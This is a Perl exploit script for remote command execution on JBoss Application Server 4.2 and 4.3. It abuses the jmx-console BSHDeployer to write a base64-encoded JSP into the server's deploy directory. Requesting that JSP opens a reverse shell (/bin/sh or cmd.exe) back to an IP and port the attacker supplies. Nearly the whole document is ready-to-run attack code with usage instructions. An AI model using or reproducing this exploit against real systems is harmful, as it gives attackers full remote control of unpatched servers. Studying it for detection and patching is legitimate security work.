JBoss Application Server 4.2 < 4.2.0.CP09 / 4.3 < 4.3.0.CP08 - Remote Command Execution
#JBoss AS Remote Exploit #by Kingcope ##### use IO::Socket; use LWP::UserAgent; use URI::Escape; use MIME::Base64; sub usage { print "JBoss AS Remote Exploit\nby Kingcope\n\nusage: perl jboss.pl <target> <targetport> <yourip> <yourport> <win/lnx>\n"; print "example: perl daytona.pl 192.168.2.10 8080 192.168.2.2 443 lnx\n"; exit; } if ($#ARGV != 4) { usage; } $host = $ARGV[0]; $port = $ARGV[1]; $myip = $ARGV[2]; $myport = $ARGV[3]; $com = $ARGV[4]; if ($com eq "lnx") { $comspec = "/bin/sh"; } if ($com eq "win") { $comspec = "cmd.exe"; } $|=1; $jsp=" <%@ page import=\"java.lang.*, java.util.*, java.io.*, java.net.*\" %> <%! static class StreamConnector extends Thread { InputStream is; OutputStream os; StreamConnector( InputStream is, OutputStream os ) { this.is = is; this.os = os; } public void run() { BufferedReader in = null; BufferedWriter out = null; try { in = new BufferedReader( new InputStreamReader( this.is ) ); out = new BufferedWriter( new OutputStreamWriter( this.os ) ); char buffer[] = new char[8192]; int length; while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ) { out.write( buffer, 0, length ); out.flush(); } } catch( Exception e ){} try { if( in != null ) in.close(); if( out != null ) out.close(); } catch( Exception e ){} } } %> <% try { Socket socket = new Socket( \"$myip\", $myport ); Process process = Runtime.getRuntime().exec( \"$comspec\" ); ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start(); ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start(); } catch( Exception e ) {} %>"; #print $jsp;exit; srand(time()); sub randstr { my $length_of_randomstring=shift;# the length of # the random string to generate my @chars=('a'..'z','A'..'Z','0'..'9','_'); my $random_string; foreach (1..$length_of_randomstring) { # rand @chars will generate a random # number between 0 and scalar @chars $random_string.=$chars[rand @chars]; } return $random_string; } $appbase = randstr(8); $jspname = randstr(8); print "APPBASE=$appbase\nJSPNAME=$jspname\n"; $bsh_script = qq{import java.io.FileOutputStream; import sun.misc.BASE64Decoder; String val = "} . encode_base64($jsp, "") . qq{"; BASE64Decoder decoder = new BASE64Decoder(); String jboss_home = System.getProperty("jboss.server.home.dir"); new File(jboss_home + "/deploy/} . $appbase . ".war" . qq{").mkdir(); byte[] byteval = decoder.decodeBuffer(val); String jsp_file = jboss_home + "/deploy/} . $appbase . ".war/" . $jspname . ".jsp" . qq{"; FileOutputStream fstream = new FileOutputStream(jsp_file); fstream.write(byteval); fstream.close(); }; # # UPLOAD # $params = 'action=invokeOpByName&name=jboss.deployer:service=BSHDeployer&methodName=createScriptDeployment&argType=java.lang.String&arg0=' . uri_escape($bsh_script) . '&argType=java.lang.String&arg1=' . randstr(8) . '.bsh'; my $ua = LWP::UserAgent->new; $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13"); my $req = HTTP::Request->new(POST => "http://$host:$port/jmx-console/HtmlAdaptor"); $req->content_type('application/x-www-form-urlencoded'); $req->content($params); print "UPLOAD... "; my $res = $ua->request($req); if ($res->is_success) { print "SUCCESS\n"; print "EXECUTE"; sleep(5); $uri = '/' . $appbase . '/' . $jspname . '.jsp'; for ($k=0;$k<10;$k++) { my $ua = LWP::UserAgent->new; $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13"); my $req = HTTP::Request->new(GET => "http://$host:$port$uri"); my $res = $ua->request($req); if ($res->is_success) { print "\nSUCCESS\n"; exit; } else { print "."; # print $res->status_line."\n"; sleep(5); } } print "UNSUCCESSFUL\n"; } else { print "UNSUCCESSFUL\n"; print $res->status_line, "\n"; exit; } |